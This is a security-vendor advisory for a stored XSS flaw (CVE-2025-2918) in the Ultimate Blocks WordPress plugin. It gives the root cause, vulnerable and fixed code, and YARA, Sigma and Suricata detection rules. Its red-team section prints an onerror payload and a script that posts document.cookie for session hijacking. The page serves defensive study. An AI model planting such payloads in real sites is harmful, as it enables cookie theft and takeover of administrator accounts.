CVE-2025-2918
Executive Summary
CVE-2025-2918 is a Stored Cross-Site Scripting (XSS) vulnerability in the Ultimate Blocks – WordPress Blocks Plugin for WordPress. The flaw exists in all versions up to and including 3.3.3, affecting multiple widgets provided by the plugin. Insufficient input sanitization and output escaping allow authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a victim user accesses the compromised page, leading to session hijacking, data theft, or defacement.
This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx directly. The plugin’s widgets fail to properly sanitize user-supplied input before storing it in the database, and the output is not escaped when rendered, enabling persistent XSS.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The supply chain risk is limited to the plugin’s update mechanism; users must manually update or rely on the WordPress dashboard. No known malicious commits or backdoors have been reported in the plugin’s source.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The vulnerability requires authentication but is trivial to exploit once access is obtained. The impact is limited to low confidentiality and integrity loss, but the stored XSS can be used to pivot to higher-privilege accounts.
Deep Dive & Mechanics
The vulnerability resides in the widget rendering logic of the Ultimate Blocks plugin. Multiple widgets (e.g., “Advanced Heading”, “Image Slider”, “Button”) accept user input via the WordPress block editor. The plugin fails to sanitize input using functions like wp_kses_post() or sanitize_text_field() and does not escape output with esc_html() or wp_kses() when rendering the block on the front end.
Attack Flow:
- An authenticated user with Contributor-level access creates or edits a post/page using the Ultimate Blocks plugin.
- The attacker inserts malicious JavaScript into a widget field (e.g., the heading text or button label).
- The plugin stores the unsanitized payload in the
wp_poststable as part of the block content. - When any user (including administrators) views the page, the injected script executes in their browser context.
Root Cause: The plugin uses echo $value or similar direct output without escaping, and does not apply WordPress’s built-in sanitization functions before saving.
Vulnerable vs. Patched Code
Since no patch is available, the following shows the vulnerable pattern and a hypothetical fix.
Vulnerable Code (example from widget render function):
function render_heading_block($attributes) {
$heading_text = $attributes['headingText'];
// No sanitization or escaping
return "<h2>$heading_text</h2>";
}
Patched Code (hypothetical):
function render_heading_block($attributes) {
$heading_text = isset($attributes['headingText']) ? $attributes['headingText'] : '';
// Sanitize on input
$heading_text = sanitize_text_field($heading_text);
// Escape on output
return "<h2>" . esc_html($heading_text) . "</h2>";
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with Ultimate Blocks plugin <= 3.3.3
- Contributor-level account credentials
Exploitation Steps:
- Log in as a Contributor.
- Create a new post and add an Ultimate Blocks widget (e.g., “Advanced Heading”).
- In the heading text field, inject the following payload:
<img src=x onerror=alert('XSS')> - Publish or save the post.
- When an administrator or visitor views the post, the script executes.
Advanced Payload (session hijacking):
<script>
fetch('/wp-admin/admin-ajax.php?action=your_custom_action', {
method: 'POST',
credentials: 'include',
body: new URLSearchParams({ 'cookie': document.cookie })
});
</script>
Blue Team
Detection Steps:
- Monitor for posts created by Contributor-level users containing suspicious HTML/JavaScript in block content.
- Review database entries in
wp_postsforpost_contentcontaining<script>tags or event handlers. - Use the YARA and Sigma rules below to scan logs and files.
Mitigation in Lab:
- Disable the Ultimate Blocks plugin until a patch is available.
- Restrict Contributor-level access to trusted users only.
- Implement a Web Application Firewall (WAF) rule to block common XSS payloads.
Indicators of Compromise (IOCs)
File Indicators:
- Plugin directory:
/wp-content/plugins/ultimate-blocks/ - Version file:
ultimate-blocks/readme.txt(contains version string)
- Plugin directory:
Network Indicators:
- Outbound HTTP requests to attacker-controlled domains from compromised pages.
- POST requests to
/wp-admin/admin-ajax.phpwith suspicious parameters.
Database Indicators:
wp_posts.post_contentcontaining<script>,onerror,onload, orjavascript:.wp_postmetaentries with malicious meta values.
Log Indicators:
- Web server access logs showing requests to pages with Ultimate Blocks widgets.
- Error logs with PHP warnings about undefined array keys (if exploitation attempts fail).
Detection Engineering
YARA Rule
rule CVE_2025_2918_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Ultimate Blocks plugin content"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-2918"
strings:
$xss1 = /<script[^>]*>.*<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
$xss4 = /javascript\s*:\s*/is
condition:
any of ($xss*) and filesize < 10MB
}
Sigma Rule
title: CVE-2025-2918 Stored XSS in Ultimate Blocks Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress post content for Ultimate Blocks plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/wp-admin/post.php'
cs-uri-query|contains: 'action=edit'
cs-uri-query|contains: 'post='
condition: selection
falsepositives:
- Legitimate use of JavaScript in posts by administrators
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-2918 Stored XSS Payload in WordPress Post"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"action=edit"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released by the vendor.
- Review all posts created by Contributor-level users for malicious content.
- Change all user passwords if any administrator accounts were compromised.
Long-Term Fixes:
- Apply input sanitization using
sanitize_text_field()orwp_kses_post(). - Use output escaping functions like
esc_html(),esc_attr(), orwp_kses(). - Implement Content Security Policy (CSP) headers to block inline scripts.
- Restrict Contributor-level access to only trusted users.
Vendor Contact:
- No official patch available. Monitor the WordPress plugin repository for updates.
Valters IT – DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.